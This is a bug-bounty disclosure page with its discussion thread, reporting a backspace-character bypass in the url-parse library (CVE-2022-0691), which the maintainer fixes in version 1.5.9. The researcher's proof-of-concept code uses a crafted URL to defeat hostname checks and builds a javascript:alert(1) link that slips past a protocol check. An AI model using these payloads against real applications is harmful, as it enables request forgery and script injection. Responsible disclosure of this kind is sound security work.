huntr

Authorization Bypass Through User-Controlled Key in unshiftio/url-parse

0

✓ Valid Reported on Feb 18th 2022

Description

Bypass https://hackerone.com/reports/496293 via \b (backspace) character.

Proof of Concept

```
const parse = require('./index.js')

url = parse('\bhttp://google.com')

console.log(url)
```

Result:

```
{
  slashes: false,
  protocol: '',
  hash: '',
  query: '',
  pathname: '\bhttp://google.com',
  auth: '',
  host: '',
  port: '',
  hostname: '',
  password: '',
  username: '',
  origin: 'null',
  href: '\bhttp://google.com'
}
```

Chat with us

Impact

This vulnerability is capable of tricking the parser interpreting a URL as a relative path (without any protocol even), bypassing all hostname checks. It can also lead to false positive in extractProtocol(), as mentioned in the Hackerone report.

Occurrences

JS index.js L9

Insufficient trim list

CVE
CVE-2022-0691
(Published)

Vulnerability Type
CWE-639: Authorization Bypass Through User-Controlled Key

Severity
Medium (6.5)

Visibility
Public

Status
Fixed

Found by

haxatron
@haxatron
pro

Fixed by

Luigi Pinca
@lpinca
maintainer

Chat with us

This report was seen 1,581 times.

We are processing your report and will contact the **unshiftio/url-parse** team within 24 hours.
9 months ago

haxatron 9 months ago Researcher

For reference, both browser and standard HTTP client in node will trim \b in protocol.

```
const parse = require('./index.js')
const http = require('http')

url = parse('\bhttp://localhost:3000')

http.get(url.href)
```

haxatron modified the report 9 months ago

haxatron modified the report 9 months ago

haxatron modified the report 9 months ago

We have contacted a member of the **unshiftio/url-parse** team and are waiting to hear back
9 months ago

haxatron modified the report 9 months ago

Luigi Pinca 9 months ago Maintainer

> For reference, both browser and standard HTTP client in node will trim \b in protocol.

Yes, in Node.js, `http.request()` uses the WHATWG URL parser to the parse the URL string.

Chat with us

Luigi Pinca validated this vulnerability 9 months ago haxatron has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Luigi Pinca 9 months ago

Maintainer

See https://github.com/unshiftio/url-parse/commit/0e3fb542d60ddbf6933f22eb9b1e06e25eaa5b63. Does it look good to you?

haxatron 9 months ago

Researcher

Can no longer reproduce the bypass with latest git commit so the fix works.

Luigi Pinca marked this as fixed in 1.5.9 with commit 0e3fb5 9 months ago

Luigi Pinca has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

index.js#L9 has been validated ✓

ranjit-git 9 months ago

@maintainer
I don't understand how this bug arise security impact?
Am I missing something

haxatron 9 months ago

Researcher

@ranjit-git, bypass hostname check when used with node HTTP client.

Also - https://hackerone.com/reports/496293

ranjit-git 9 months ago

Yes it's fetching using node http client but how hostname bypass happen here?

Chat with us

haxatron 9 months ago

Read the report.

ranjit-git 9 months ago

Already read the report.
Are you referring hostname check bypass because hostname is empty?

haxatron 9 months ago Researcher

👍

ranjit-git 9 months ago

Good then.
I asking maintainer for confirmation is this the security impact .
Because I already found few way like this previously. But I did not submitted because I did not found security impact there.
But now I think I have to submit them

ranjit-git 9 months ago

@haxatron

```
const parse = require('./index.js')
const http = require('http')

url = parse('\bhttp://localhost:3000')

http.get(url.href)
```

is this payload working ?
because when i trying `http.get("\bhttp://example.com")` then i getting error like bellow

```
Error: Unable to determine the domain name
    at new ClientRequest (_http_client.js:85:13)
    at request (http.js:38:10)
    at Object.get (http.js:42:13)
```

Chat with us

haxatron 9 months ago Researcher

Because you are not using the latest version of node.

Luigi Pinca 9 months ago Maintainer

@ranjit-git I accepted this because the parsed URL

Has no protocol and no hostname.

It is not a protocol relative URL.

When parsed with a parser that follows the WHATWG URL Standard, leading control characters are removed, and the URL is parsed as if they were not there in the first place.

haxatron 9 months ago Researcher

Also consider:

```
const parse = require('./index.js')
const express = require('express')
const app = express()
const port = 3000

url = parse("\bjavascript:alert(1)")

console.log(url)

app.get('/', (req, res) => {
  if (url.protocol !== "javascript:") {res.send("<a href=\'" + url.href + "\'>CLICK ME
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})
```

Chat with us

Result:

```
root@kali:~# node test.js
{
  slashes: false,
  protocol: '',
  hash: '',
  query: '',
  pathname: '\bjavascript:alert(1)',
  auth: '',
  host: '',
  port: '',
  hostname: '',
  password: '',
  username: '',
  origin: 'null',
  href: '\bjavascript:alert(1)'
}
Example app listening on port 3000
```

Visit http://localhost:3000/

This was the additional danger (false positives in extractProtocol) mentioned by the hacker1 report, and also the reason why WHATWG URL API will trim all control characters from the start.

> Sign in to join this conversation

2022 © 418sec